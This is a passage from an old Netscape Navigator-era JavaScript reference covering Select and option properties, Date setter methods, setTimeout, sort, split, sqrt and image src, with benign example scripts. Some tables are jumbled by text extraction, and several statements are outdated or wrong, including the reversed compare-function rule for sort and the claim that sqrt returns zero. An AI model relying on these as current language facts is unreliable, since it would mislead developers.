file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

... } Changing the selection state You can use the selected and selectedIndex properties to change the selection state of options in a Select object.
q

The selectedIndex property for a Select object is an integer specifying the index of the selected option. This is most useful for Select objects that are created without the MULTIPLE attribute. The following statement sets a Select object's selectedIndex property: document.myForm.musicTypes.selectedIndex = i The selected property for an option is a Boolean value specifying the current selection state of the option in a Select object. If an option is selected, its selected property is true; otherwise it is false. This is more useful for Select objects that are created with the MULTIPLE attribute. The following statement sets an option's selected property to true: document.myForm.musicTypes.options[i].selected = true

Changing option text To change an option's text, use the text property of the options array. For example, suppose a form has the following Select object: <SELECT name="userChoice"> <OPTION>Choice 1 <OPTION>Choice 2 <OPTION>Choice 3 </SELECT> You can set the text of the ith item in the selection based on text entered in a text field named whatsNew as follows: myform.userChoice.options[i].text = myform.whatsNew.value You do not need to reload or refresh after changing an option's text. For example, in the following form, the user can enter some text in the first text field and then enter a number between 0 and 2 (inclusive) in the second text field. When the user clicks the button, the text will be substituted for the indicated option number and that option is selected.
Choice 1

New text for the option: Option to change (0, 1, or 2):


Change Selection

The code for this example looks as follows: <SCRIPT> function updateList(theForm, i) { theForm.userChoice.options[i].text = theForm.whatsNew.value theForm.userChoice.options[i].selected = true } </SCRIPT> <FORM> <SELECT name="userChoice">
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (8 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

<OPTION>Choice 1 <OPTION>Choice 2 <OPTION>Choice 3 </SELECT> <BR> New text for the option: <INPUT TYPE="text" NAME="whatsNew"> <BR> Option to change (0, 1, or 2): <INPUT TYPE="text" NAME="idx"> <BR> <INPUT TYPE="button" VALUE="Change Selection" onClick="updateList(this.form, this.form.idx.value)"> </FORM> Adding options using the Option() constructor Each option created using the Option() constructor is an object and has the same properties as elements of the options array. After you create the options and add them to the Select object, you must refresh the document by using history.go(0). This statement must be last. When the document reloads, variables are lost if not saved in cookies or form element values. Deleting options Deletion compresses the options array. For example, if you delete options[0], the existing options[1] becomes options[0]. It's a good idea to delete options at the end of the array first. After you delete an option, you must refresh the document by using history.go(0). This statement must be last. When the document reloads, variables are lost if not saved in cookies or form element values.

Properties
The Select object has the following properties:

Property

Description

form property Specifies the form containing the Select object length name options Reflects the number of options in a Select object Reflects the NAME attribute Reflects the <OPTION> tags

selectedIndex Reflects the index of the selected option (or the first selected option, if multiple options are selected) type Specifies that the object is a Select object and indicates whether MULTIPLE is specified

The options array has the following properties:

Property length

Description Reflects the number of options in a Select object

selectedIndex Reflects the index of the selected option Each element of the options array has the following properties:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (9 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

Property

Description

defaultSelected Reflects the SELECTED attribute index selected text property value Reflects the index of an option Lets you programmatically select an option Reflects the textToDisplay that follows an <OPTION> tag Reflects the VALUE attribute

Objects created with the Option() constructor have the following properties:

Property

Description

defaultSelected Specifies the initial selection state of the option index prototype selected text property value Specifies the index of the option in a Select object Lets you add a properties to an option. Specifies the current selection state of the option Specifies the text for the option Specifies the value that is returned to the server when the option is selected and the form is submitted

Methods
The Select object has the following methods:

q q q

blur eval focus

q q

toString valueOf

Event handlers
q q q

onBlur onChange onFocus

Examples
Example 1. The following example displays two selection lists. In the first list, the user can select only one item; in the second list, the user can select multiple items. Choose the music type for your free CD: <SELECT NAME="music_type_single"> <OPTION SELECTED> R&B <OPTION> Jazz <OPTION> Blues <OPTION> New Age </SELECT> <P>Choose the music types for your free CDs: <BR><SELECT NAME="music_type_multi" MULTIPLE> <OPTION SELECTED> R&B <OPTION> Jazz
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (10 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

<OPTION> Blues <OPTION> New Age </SELECT> Example 2. The following example displays two selection lists that let the user choose a month and day. These selection lists are initialized to the current date. The user can change the month and day by using the selection lists or by choosing preset dates from radio buttons. Text fields on the form display the values of the Select object's properties and indicate the date chosen and whether it is Cinco de Mayo. <HTML> <HEAD> <TITLE>Select object example</TITLE> </HEAD> <BODY> <SCRIPT> var today = new Date() //--------------function updatePropertyDisplay(monthObj,dayObj) { // Get date strings var monthInteger, dayInteger, monthString, dayString monthInteger=monthObj.selectedIndex dayInteger=dayObj.selectedIndex monthString=monthObj.options[monthInteger].text dayString=dayObj.options[dayInteger].text // Display property values document.selectForm.textFullDate.value=monthString + " " + dayString document.selectForm.textMonthLength.value=monthObj.length document.selectForm.textDayLength.value=dayObj.length document.selectForm.textMonthName.value=monthObj.name document.selectForm.textDayName.value=dayObj.name document.selectForm.textMonthIndex.value=monthObj.selectedIndex document.selectForm.textDayIndex.value=dayObj.selectedIndex // Is it Cinco de Mayo? if (monthObj.options[4].selected && dayObj.options[4].selected) document.selectForm.textCinco.value="Yes!" else document.selectForm.textCinco.value="No" } </SCRIPT> <!---------------> <FORM NAME="selectForm"> <P><B>Choose a month and day:</B> Month: <SELECT NAME="monthSelection" onChange="updatePropertyDisplay(this,document.selectForm.daySelection)"> <OPTION> January <OPTION> February <OPTION> March <OPTION> April <OPTION> May <OPTION> June <OPTION> July <OPTION> August <OPTION> September <OPTION> October <OPTION> November <OPTION> December </SELECT> Day: <SELECT NAME="daySelection" onChange="updatePropertyDisplay(document.selectForm.monthSelection,this)"> <OPTION> 1 <OPTION> 2 <OPTION> 3 <OPTION> 4 <OPTION> 5 <OPTION> 6 <OPTION> 7 <OPTION> 8 <OPTION> 9 <OPTION> 10 <OPTION> 11 <OPTION> 12 <OPTION> 13 <OPTION> 14 <OPTION> 15 <OPTION> 16 <OPTION> 17 <OPTION> 18 <OPTION> 19 <OPTION> 20
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (11 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

<OPTION> 21 <OPTION> 22 <OPTION> 23 <OPTION> 24 <OPTION> 25 <OPTION> 26 <OPTION> 27 <OPTION> 28 <OPTION> 29 <OPTION> 30 <OPTION> 31 </SELECT> <P><B>Set the date to: </B> <INPUT TYPE="radio" NAME="dateChoice" onClick=" monthSelection.selectedIndex=0; daySelection.selectedIndex=0; updatePropertyDisplay document.selectForm.monthSelection,document.selectForm.daySelection)"> New Year's Day <INPUT TYPE="radio" NAME="dateChoice" onClick=" monthSelection.selectedIndex=4; daySelection.selectedIndex=4; updatePropertyDisplay (document.selectForm.monthSelection,document.selectForm.daySelection)"> Cinco de Mayo <INPUT TYPE="radio" NAME="dateChoice" onClick=" monthSelection.selectedIndex=5; daySelection.selectedIndex=20; updatePropertyDisplay (document.selectForm.monthSelection,document.selectForm.daySelection)"> Summer Solstice <P><B>Property values:</B> <BR>Date chosen: <INPUT TYPE="text" NAME="textFullDate" VALUE="" SIZE=20"> <BR>monthSelection.length<INPUT TYPE="text" NAME="textMonthLength" VALUE="" SIZE=20"> <BR>daySelection.length<INPUT TYPE="text" NAME="textDayLength" VALUE="" SIZE=20"> <BR>monthSelection.name<INPUT TYPE="text" NAME="textMonthName" VALUE="" SIZE=20"> <BR>daySelection.name<INPUT TYPE="text" NAME="textDayName" VALUE="" SIZE=20"> <BR>monthSelection.selectedIndex <INPUT TYPE="text" NAME="textMonthIndex" VALUE="" SIZE=20"> <BR>daySelection.selectedIndex<INPUT TYPE="text" NAME="textDayIndex" VALUE="" SIZE=20"> <BR>Is it Cinco de Mayo? <INPUT TYPE="text" NAME="textCinco" VALUE="" SIZE=20"> <SCRIPT> document.selectForm.monthSelection.selectedIndex=today.getMonth() document.selectForm.daySelection.selectedIndex=today.getDate()-1 updatePropertyDisplay(document.selectForm.monthSelection,document.selectForm.daySelection) </SCRIPT> </FORM> </BODY> </HTML> Example 3. Add an option using the Option() constructor. The following example creates two Select objects, one without the MULTIPLE attribute and one with. No options are initially defined for either object. When the user clicks a button associated with the Select object, the populate function creates four options for the Select object and selects the first option. <SCRIPT> function populate(inForm) { colorArray = new Array("Red", "Blue", "Yellow", "Green") var option0 = new Option("Red", "color_red") var option1 = new Option("Blue", "color_blue")
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (12 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

var option2 = new Option("Yellow", "color_yellow") var option3 = new Option("Green", "color_green") for (var i=0; i < 4; i++) { eval("inForm.selectTest.options[i]=option" + i) if (i==0) { inForm.selectTest.options[i].selected=true } } history.go(0) } </SCRIPT> <H3>Select Option() constructor</H3> <FORM> <SELECT NAME="selectTest"></SELECT><P> <INPUT TYPE="button" VALUE="Populate Select List" onClick="populate(this.form)"> <P> </FORM> <HR> <H3>Select-Multiple Option() constructor</H3> <FORM> <SELECT NAME="selectTest" multiple></SELECT><P> <INPUT TYPE="button" VALUE="Populate Select List" onClick="populate(this.form)"> </FORM> Example 4. Delete an option. The following function removes an option from a Select object. function deleteAnItem(theList,itemNo) { theList.options[itemNo]=null history.go(0) } See also the examples for the defaultSelected property.

See also
Form object, Radio object

selected
Property. A Boolean value indicating whether an option in a Select object is selected.

Syntax
1. selectName.options[index].selected 2. optionName.selected

Parameters
selectName is either the value of the NAME attribute of a Select object or an element in the elements array.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (13 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

index is an integer representing an option in a Select object. optionName is the name of a Select object option created using the Option() constructor.

Property of
Option object (see Select object), options array (see Select object)

Implemented in
q q

Navigator 2.0 Navigator 3.0: property of Option

Tainted?
Yes

Description
If an option in a Select object is selected, the value of its selected property is true; otherwise, it is false. You can set the selected property at any time. The display of the Select object updates immediately when you set the selected property. In general, the selected property is more useful than the selectedIndex property for Select objects that are created with the MULTIPLE attribute. With the selected property, you can evaluate every option in the options array to determine multiple selections, and you can select individual options without clearing the selection of other options.

Examples
See the examples for the defaultSelected property.

See also
defaultSelected, index, selectedIndex properties

selectedIndex
Property. An integer specifying the index of the selected option in a Select object.

Syntax
1. selectName.selectedIndex 2. selectName.options.selectedIndex

Parameters

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (14 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

selectName is either the value of the NAME attribute of a Select object or an element in the elements array.

Property of
Select object; options array (see Select object)

Implemented in
Navigator 2.0

Tainted?
Yes

Description
Options in a Select object are indexed in the order in which they are defined, starting with an index of zero. You can set the selectedIndex property at any time. The display of the Select object updates immediately when you set the selectedIndex property. Both forms of the syntax specify the same value. If no option is selected, selectedIndex has a value of -1. In general, the selectedIndex property is more useful for Select objects that are created without the MULTIPLE attribute. If you evaluate selectedIndex when multiple options are selected, the selectedIndex property specifies the index of the first option only. Setting selectedIndex clears any other options that are selected in the Select object. The selected property of the Select object's options array is more useful for Select objects that are created with the MULTIPLE attribute. With the selected property, you can evaluate every option in the options array to determine multiple selections, and you can select individual options without clearing the selection of other options.

Examples
In the following example, the getSelectedIndex function returns the selected index in the musicType Select object: function getSelectedIndex() { return document.musicForm.musicType.selectedIndex } The previous example assumes that the Select object is similar to the following: <SELECT NAME="musicType"> <OPTION SELECTED> R&B <OPTION> Jazz <OPTION> Blues <OPTION> New Age </SELECT>

See also
defaultSelected, index, selected properties

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (15 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

self
Property. The self property is a synonym for the current window or frame.

Syntax
1. self.propertyName 2. self.methodName

Parameters
propertyName is the defaultStatus, status, length, or name property when self refers to a window object. propertyName is the length or name property when self refers to a Frame object. methodName is any method associated with the window object.

Property of
Frame object, window object

Implemented in
Navigator 2.0

Tainted?
No

Description
The self property refers to the current window or frame. Use the self property to disambiguate a window property from a form or form element of the same name. You can also use the self property to make your code more readable. The self property is read-only. The value of the self property is <object nameAttribute> where nameAttribute is the NAME attribute if self refers to a frame, or an internal reference if self refers to a window.

Examples
In the following example, self.status is used to set the status property of the current window. This usage disambiguates the status property of the current window from a form or form element called "status" within the current window. <A HREF="" onClick="this.href=pickRandomURL()"
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (16 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

onMouseOver="self.status='Pick a random URL' ; return true"> Go!</A>

See also
window property

setDate
Method. Sets the day of the month for a specified date.

Syntax
dateObjectName.setDate(dayValue)

Parameters
dateObjectName is either the name of a Date object or a property of an existing object. dayValue is an integer from one to 31 or a property of an existing object, representing the day of the month.

Method of
Date

Implemented in
Navigator 2.0

Examples
The second statement below changes the day for theBigDay to July 24 from its original value. theBigDay = new Date("July 27, 1962 23:30:00") theBigDay.setDate(24)

See also
getDate method

setHours
Method. Sets the hours for a specified date.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (17 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

Syntax
dateObjectName.setHours(hoursValue)

Parameters
dateObjectName is either the name of a Date object or a property of an existing object. hoursValue is an integer between zero and 23 or a property of an existing object, representing the hour.

Method of
Date

Implemented in
Navigator 2.0

Examples
theBigDay.setHours(7)

See also
getHours method

setMinutes
Method. Sets the minutes for a specified date.

Syntax
dateObjectName.setMinutes(minutesValue)

Parameters
dateObjectName is either the name of a Date object or a property of an existing object. minutesValue is an integer between zero and 59 or a property of an existing object, representing the minutes.

Method of
Date

Implemented in

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (18 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

Navigator 2.0

Examples
theBigDay.setMinutes(45)

See also
getMinutes method

setMonth
Method. Sets the month for a specified date.

Syntax
dateObjectName.setMonth(monthValue)

Parameters
dateObjectName is either the name of a Date object or a property of an existing object. monthValue is an integer between zero and 11 (representing the months January through December) or a property of an existing object.

Method of
Date

Implemented in
Navigator 2.0

Examples
theBigDay.setMonth(6)

See also
getMonth method

setSeconds
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (19 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

Method. Sets the seconds for a specified date.

Syntax
dateObjectName.setSeconds(secondsValue)

Parameters
dateObjectName is either the name of a Date object or a property of an existing object. secondsValue is an integer between zero and 59 or a property of an existing object.

Method of
Date

Implemented in
Navigator 2.0

Examples
theBigDay.setSeconds(30)

See also
getSeconds method

setTime
Method. Sets the value of a Date object.

Syntax
dateObjectName.setTime(timevalue)

Parameters
dateObjectName is either the name of a Date object or a property of an existing object. timevalue is an integer or a property of an existing object, representing the number of milliseconds since the epoch (1 January 1970 00:00:00).

Method of
Date

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (20 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

Implemented in
Navigator 2.0

Description
Use the setTime method to help assign a date and time to another Date object.

Examples
theBigDay = new Date("July 1, 1999") sameAsBigDay = new Date() sameAsBigDay.setTime(theBigDay.getTime())

See also
getTime method

setTimeout
Method. Evaluates an expression after a specified number of milliseconds has elapsed.

Syntax
timeoutID=setTimeout(expression, msec)

Parameters
timeoutID is an identifier that is used only to cancel the evaluation with the clearTimeout method. expression is a string expression or a property of an existing object. msec is a numeric value, numeric string, or a property of an existing object in millisecond units.

Method of
Frame object, window object

Implemented in
Navigator 2.0

Description
The setTimeout method evaluates an expression after a specified amount of time. It does not evaluate the expression repeatedly. For example, if a setTimeout method specifies five seconds, the expression is evaluated after five seconds, not every five seconds.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (21 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

Examples
Example 1. The following example displays an alert message five seconds (5,000 milliseconds) after the user clicks a button. If the user clicks the second button before the alert message is displayed, the timeout is canceled and the alert does not display. <SCRIPT LANGUAGE="JavaScript"> function displayAlert() { alert("5 seconds have elapsed since the button was clicked.") } </SCRIPT> <BODY> <FORM> Click the button on the left for a reminder in 5 seconds; click the button on the right to cancel the reminder before it is displayed. <P> <INPUT TYPE="button" VALUE="5-second reminder" NAME="remind_button" onClick="timerID=setTimeout('displayAlert()',5000)"> <INPUT TYPE="button" VALUE="Clear the 5-second reminder" NAME="remind_disable_button" onClick="clearTimeout(timerID)"> </FORM> </BODY> Example 2. The following example displays the current time in a Text object. The showtime function, which is called recursively, uses the setTimeout method to update the time every second. <HEAD> <SCRIPT LANGUAGE="JavaScript"> <!-var timerID = null var timerRunning = false function stopclock(){ if(timerRunning) clearTimeout(timerID) timerRunning = false } function startclock(){ // Make sure the clock is stopped stopclock() showtime() } function showtime(){ var now = new Date() var hours = now.getHours() var minutes = now.getMinutes() var seconds = now.getSeconds() var timeValue = "" + ((hours > 12) ? hours - 12 : hours) timeValue += ((minutes < 10) ? ":0" : ":") + minutes timeValue += ((seconds < 10) ? ":0" : ":") + seconds timeValue += (hours >= 12) ? " P.M." : " A.M." document.clock.face.value = timeValue

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (22 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

timerID = setTimeout("showtime()",1000) timerRunning = true } //--> </SCRIPT> </HEAD> <BODY onLoad="startclock()"> <FORM NAME="clock" onSubmit="0"> <INPUT TYPE="text" NAME="face" SIZE=12 VALUE =""> </FORM> </BODY>

See also
clearTimeout method

setYear
Method. Sets the year for a specified date.

Syntax
dateObjectName.setYear(yearValue)

Parameters
dateObjectName is either the name of a Date object or a property of an existing object. yearValue is an integer greater than 1900 or a property of an existing object.

Method of
Date

Implemented in
Navigator 2.0

Examples
theBigDay.setYear(96)

See also
getYear method

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (23 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

sin
Method. Returns the sine of a number.

Syntax
Math.sin(number)

Parameters
number is a numeric expression or a property of an existing object, representing the size of an angle in radians.

Method of
Math

Implemented in
Navigator 2.0

Description
The sin method returns a numeric value between -1 and one, which represents the sine of the argument.

Examples
The following function returns the sine of the variable x: function getSine(x) { return Math.sin(x) } If you pass getSine the value Math.PI/2, it returns 1.

See also
acos, asin, atan, atan2, cos, tan methods

small
Method. Causes a string to be displayed in a small font, as if it were in a <SMALL> tag.

Syntax
stringName.small()
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (24 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

Parameters
stringName is any string or a property of an existing object.

Method of
String

Implemented in
Navigator 2.0

Description
Use the small method with the write or writeln methods to format and display a string in a document.

Examples
The following example uses string methods to change the size of a string: var worldString="Hello, world" document.write(worldString.small()) document.write("<P>" + worldString.big()) document.write("<P>" + worldString.fontsize(7)) The previous example produces the same output as the following HTML: <SMALL>Hello, world</SMALL> <P><BIG>Hello, world</BIG> <P><FONTSIZE=7>Hello, world</FONTSIZE>

See also
big, fontsize methods

sort
Method. Sorts the elements of an array.

Syntax
arrayName.sort(compareFunction)

Parameters
arrayName is the name of an Array object or a property of an existing object.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (25 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

compareFunction specifies a function that defines the sort order. If omitted, the array is sorted lexicographically (in dictionary order) according to the string conversion of each element.

Method of
Array

Implemented in
Navigator 3.0

Description
If compareFunction is not supplied, elements are sorted by converting them to strings and comparing strings in lexicographic ("dictionary" or "telephone book," not numerical) order. For example, "80" comes before "9" in lexicographic order, but if you are comparing numbers 9 needs to come before 80. If compareFunction is supplied, the array elements are sorted according to the return value of the compare function. If a and b are two elements being compared, then:
q q

If compareFunction(a, b) is less than zero, sort b to a lower index than a. If compareFunction(a, b) returns zero, leave a and b unchanged with respect to each other, but sorted with respect to all different elements. If compareFunction(a, b) is greater than zero, sort b to a higher index than a.

So the compare function has the following form: function compare(a, b) { if (a is less than b by some ordering criterion) return -1 if (a is greater than b by the ordering criterion) return 1 // a must be equal to b return 0 } To compare numbers instead of strings, the compare function can simply subtract b from a: function compareNumbers(a, b) { return a - b } JavaScript uses a stable sort: the index partial order of a and b does not change if a and b are equal. If a's index was less than b's before sorting, it will be after sorting, no matter how a and b move due to sorting. Note On some platforms, the sort method does not work. Please see the release notes (after starting Netscape, choose Release Notes from the Help menu).

Examples
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (26 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

The following example creates four arrays and displays the original array, then the sorted arrays. The numeric arrays are sorted without, then with, a compare function. <SCRIPT> stringArray = new Array("Blue","Humpback","Beluga") numericStringArray = new Array("80","9","700") numberArray = new Array(40,1,5,200) mixedNumericArray = new Array("80","9","700",40,1,5,200) function compareNumbers(a, b) { return a - b } document.write("<B>stringArray:</B> " + stringArray.join() +"<BR>") document.write("<B>Sorted:</B> " + stringArray.sort() +"<P>") document.write("<B>numberArray:</B> " + numberArray.join() +"<BR>") document.write("<B>Sorted without a compare function:</B> " + numberArray.sort() +"<BR>") document.write("<B>Sorted with compareNumbers:</B> " + numberArray.sort(compareNumbers) +"<P>") document.write("<B>numericStringArray:</B> " + numericStringArray.join() +"<BR>") document.write("<B>Sorted without a compare function:</B> " + numericStringArray.sort() +"<BR>") document.write("<B>Sorted with compareNumbers:</B> " + numericStringArray.sort(compareNumbers) +"<P>") document.write("<B>mixedNumericArray:</B> " + mixedNumericArray.join() +"<BR>") document.write("<B>Sorted without a compare function:</B> " + mixedNumericArray.sort() +"<BR>") document.write("<B>Sorted with compareNumbers:</B> " + mixedNumericArray.sort(compareNumbers) +"<BR>") </SCRIPT> This example produces the following output. As the output shows, when a compare function is used, numbers sort correctly whether they are numbers or numeric strings. stringArray: Blue,Humpback,Beluga Sorted: Beluga,Blue,Humpback numberArray: 40,1,5,200 Sorted without a compare function: 1,200,40,5 Sorted with compareNumbers: 1,5,40,200 numericStringArray: 80,9,700 Sorted without a compare function: 700,80,9 Sorted with compareNumbers: 9,80,700 mixedNumericArray: 80,9,700,40,1,5,200 Sorted without a compare function: 1,200,40,5,700,80,9 Sorted with compareNumbers: 1,5,9,40,80,200,700

See also
join, reverse methods

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (27 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

split
Method. Splits a String object into an array of strings by separating the string into substrings.

Syntax
stringName.split([separator])

Parameters
stringName is any string or a property of an existing object. separator specifies the character to use for separating the string. The separator is treated as a string. If separator is omitted, the array returned contains one element consisting of the entire string.

Method of
String

Implemented in
Navigator 3.0

Description
The split method returns the new array.

Examples
The following example defines a function that splits a string into an array of strings using the specified separator. After splitting the string, the function displays messages indicating the original string (before the split), the separator used, the number of elements in the array, and the individual array elements. function splitString (stringToSplit,separator) { arrayOfStrings = stringToSplit.split(separator) document.write ('<P>The original string is: "' + stringToSplit + '"') document.write ('<BR>The separator is: "' + separator + '"') document.write ("<BR>The array has " + arrayOfStrings.length + " elements: ") for (var i=0; i < arrayOfStrings.length; i++) { document.write (arrayOfStrings[i] + " / ") } } var tempestString="Oh brave new world that has such people in it." var monthString="Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec" var space=" " var comma="," splitString(tempestString,space) splitString(tempestString) splitString(monthString,comma)

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (28 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

This example produces the following output: The original string is: "Oh brave new world that has such people in it." The separator is: " " The array has 10 elements: Oh / brave / new / world / that / has / such / people / in / it. / The original string is: "Oh brave new world that has such people in it." The separator is: "undefined" The array has 1 elements: Oh brave new world that has such people in it. / The original string is: "Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec" The separator is: "," The array has 12 elements: Jan / Feb / Mar / Apr / May / Jun / Jul / Aug / Sep / Oct / Nov / Dec /

See also
charAt, indexOf, lastIndexOf methods

sqrt
Method. Returns the square root of a number.

Syntax
Math.sqrt(number)

Parameters
number is any non-negative numeric expression or a property of an existing object.

Method of
Math

Implemented in
Navigator 2.0

Description
If the value of number is outside the required range, sqrt returns zero.

Examples
The following function returns the square root of the variable x: function getRoot(x) {
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (29 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

return Math.sqrt(x) } If you pass getRoot the value nine, it returns three; if you pass it the value two, it returns 1.414213562373095.

SQRT1_2
Property. The square root of one-half; equivalently, one over the square root of two, approximately 0.707.

Syntax
Math.SQRT1_2

Property of
Math

Implemented in
Navigator 2.0

Tainted?
No

Description
Because SQRT1_2 is a constant, it is a read-only property of Math.

Examples
The following function returns one over the square root of two: function getRoot1_2() { return Math.SQRT1_2 }

See also
E, LN2, LN10, LOG2E, LOG2E, PI, SQRT2 properties

SQRT2
Property. The square root of two, approximately 1.414.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (30 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

Syntax
Math.SQRT2

Property of
Math

Implemented in
Navigator 2.0

Tainted?
No

Description
Because SQRT2 is a constant, it is a read-only property of Math.

Examples
The following function returns the square root of two: function getRoot2() { return Math.SQRT2 }

See also
E, LN2, LN10, LOG2E, LOG2E, PI, SQRT1_2 properties

src
Property. A string specifying the URL of an image to be displayed in a document.

Syntax
imageName.src

Parameters
imageName is either the name of an Image object or an element in the images array.

Property of
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (31 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

Image

Implemented in
Navigator 3.0

Tainted?
No

Description
The src property initially reflects the SRC attribute of the <IMG> tag. Setting the src property begins loading the new URL into the image area (and aborts the transfer of any image data that is already loading into the same area). Therefore, if you plan to alter the lowsrc property, you should do so before setting the src property. If the URL in the src property references an image that is not the same size as the image cell it is loaded into, the source image is scaled to fit. When you change the src property of a displayed image, the new image you specify is displayed in the area defined for the original image. For example, suppose an Image object originally displays the file beluga.gif: <IMG NAME="myImage" SRC="beluga.gif" ALIGN="left"> If you set myImage.src='seaotter.gif', the image seaotter.gif is scaled to fit in the same space originally used by beluga.gif, even if seaotter.gif is not the same size as beluga.gif. You can change the src property at any time.

Examples
The following example displays an image and three radio buttons. The user can click the radio buttons to choose which image is displayed. Each image also uses the lowsrc property to display a low-resolution image. <SCRIPT> function displayImage(lowRes,highRes) { document.images[0].lowsrc=lowRes document.images[0].src=highRes } </SCRIPT> <FORM NAME="imageForm"> <B>Choose an image:</B> <BR><INPUT TYPE="radio" NAME="imageChoice" VALUE="image1" CHECKED onClick="displayImage('f15el.gif','f15e.gif')">F-15 Eagle <BR><INPUT TYPE="radio" NAME="imageChoice" VALUE="image2" onClick="displayImage('f15e2l.gif','f15e2.gif')">F-15 Eagle 2 <BR><INPUT TYPE="radio" NAME="imageChoice" VALUE="image3" onClick="displayImage('ah64l.gif','ah64.gif')">AH-64 Apache <BR> <IMG NAME="aircraft" SRC="f15e.gif" LOWSRC="f15el.gif" ALIGN="left" VSPACE="10"><BR> </FORM> See also the examples for the Image object.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (32 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

See also
